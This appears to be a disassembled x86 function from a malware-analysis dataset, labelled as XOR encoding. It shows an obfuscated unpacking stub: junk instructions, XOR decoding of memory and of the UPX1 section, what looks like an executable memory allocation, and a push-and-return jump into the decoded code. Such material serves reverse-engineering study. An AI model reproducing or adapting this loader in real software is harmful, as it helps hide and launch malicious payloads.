Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xff1648a
and ecx, ecx
inc ecx
not esi
popal
inc ecx
sub esi, 0x5256ce57
mov ebx, 0
mov ecx, esi
mov edx, edi
sub edx, 1
sub edx, edi
mov eax, ecx
add edi, edi
sub edx, edi
mov esi, eax
dec edx
add edx, edi
add edi, 0x246ca16f
inc ebx
or edi, edi
dec edi
cmp ebx, 0x1009aca
jne 0xa789c4
add edi, edi
mov edx, edi
sub esi, ecx
not ecx
mov ebx, 0xa78796
add edi, 0x44a6432c
mov ecx, eax
add edi, 0xe01d59f7
mov esi, 0xa7898a
sub ecx, 0x4ca2ceed
inc eax
mov edx, dword [ebx]
sub edi, ecx
and ecx, ecx
and edx, 0xff
add edi, eax
mov edi, ecx
xor dword [esi], edx
inc edi
sub edi, 0xbbc7448a
inc esi
dec ecx
sub eax, 0xf12f8d91
sub ecx, edi
inc ebx
dec ecx
mov edi, 0xe29a7873
sub edi, eax
cmp esi, entry0
jl 0xa78a18
inc edi
mov edi, 0x54fdaff
not ecx
add edi, 0x5f761b7
mov edi, 0x1c08ab6c
dec edi
mov ebx, 0xe99e3f68
mov esi, 0xa7898e
sub edx, ecx
dec edx
mov esi, dword [esi]
sub ebx, 0xd8368150
add ecx, ecx
mov ebx, 0x245f3e9e
mov esi, dword [esi]
inc edi
add edx, 0x908c8667
add edx, ecx
sub esp, 4
mov dword [esp], esi
mov edi, edx
mov ecx, edi
mov ecx, edx
mov esi, 0xa7898a
mov ecx, edx
inc edx
mov esi, dword [esi]
sub edx, ebx
add ebx, edi
or ecx, edi
mov esi, dword [esi]
add edx, 0xfd7ed3f1
sub edi, 0xa7cf4199
push 0xa78992
add ebx, 0xaaf5c896
inc edi
call esi
sub ebx, ecx
sub edi, 0xf1d3ec38
dec edx
pop esi
add edi, 0x6044830f
sub ecx, 0x67346af3
sub esp, 4
mov dword [esp], 0xa7899f
and ebx, ecx
or edx, ebx
sub esp, 4
mov dword [esp], eax
inc edx
dec edx
sub edx, 0x27d250f3
call esi
inc ebx
mov edx, ecx
push 0x40
not ebx
add ebx, 1
push 0x3000
mov ebx, edi
sub ecx, edx
sub esp, 4
mov dword [esp], 0x2000040e
add ebx, 1
not edi
add ecx, ebx
push 0
mov edx, 0x30b661a8
and edx, ecx
call eax
and ecx, ebx
mov ecx, 0xcaff3914
sub edi, 0xd873fd5
add eax, 0x2000037d
mov edx, ebx
add ebx, 0xec327145
mov esi, 0xa4aba8c6
or ebx, ebx
add edi, 0xa799ad94
mov dword [eax], esi
dec edx
inc edx
mov esi, dword [eax]
mov edx, 0x61312783
sub edi, 1
cmp esi, 0xa4aba8c6
je 0xa78b7a
mov eax, 0
mov ecx, dword [eax]
sub ebx, 0x3adfda8f
sub ebx, edx
and edi, edx
mov edx, edi
not ebx
or ecx, esi
dec esi
mov edi, section.UPX1
and ecx, ecx
mov ecx, esi
mov ebx, 0xa78795
mov ecx, esi
add ecx, ecx
mov esi, 0x48d425f3
mov eax, 0
inc ecx
or ecx, ecx
dec ecx
mov edx, 0xa78796
mov esi, ecx
mov esi, 0x1ecf4ff9
lea edx, [edx + eax]
or esi, esi
add ecx, 0x87714dfc
mov edx, dword [edx]
add ecx, 0xad5f81af
add ecx, ecx
and edx, 0xff
mov ecx, 0xdf0ced2
inc ecx
inc eax
mov ecx, esi
mov esi, ecx
cmp eax, 0x1f4
jne 0xa78bea
mov eax, 0
not esi
and esi, esi
mov esi, 0x80723ef8
add esi, esi
not ecx
xor dword [edi], edx
add ecx, 0x75434b19
or esi, ecx
add edi, 2
mov esi, ecx
and esi, ecx
not ecx
cmp edi, ebx
jl 0xa78bab
add esi, 0xfd6a48ee
mov esi, 0x47244ff6
or esi, esi
mov esi, 0xf073606c
mov ecx, section.UPX1
inc eax
sub esi, eax
inc eax
mov edx, section.UPX1
mov esi, eax
or esi, esi
mov edi, 0xa78795
or eax, esi
sub esi, 1
or eax, eax
mov ebx, 0
dec eax
and eax, eax
mov bl, byte [edx]
or eax, eax
inc eax
dec esi
mov byte [ecx], bl
add eax, 0xc4854ae3
sub eax, 0x57dac7b3
add eax, 0xeef55a0c
add ecx, 1
and esi, esi
add esi, 1
add edx, 2
mov esi, 0xc5683acb
add esi, 0x2a074e26
not esi
cmp edx, edi
jle 0xa78c50
inc esi
not esi
add esi, 1
or ecx, ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
sub esi, 0x9cf18616
sub esi, 0xf89bf851
ret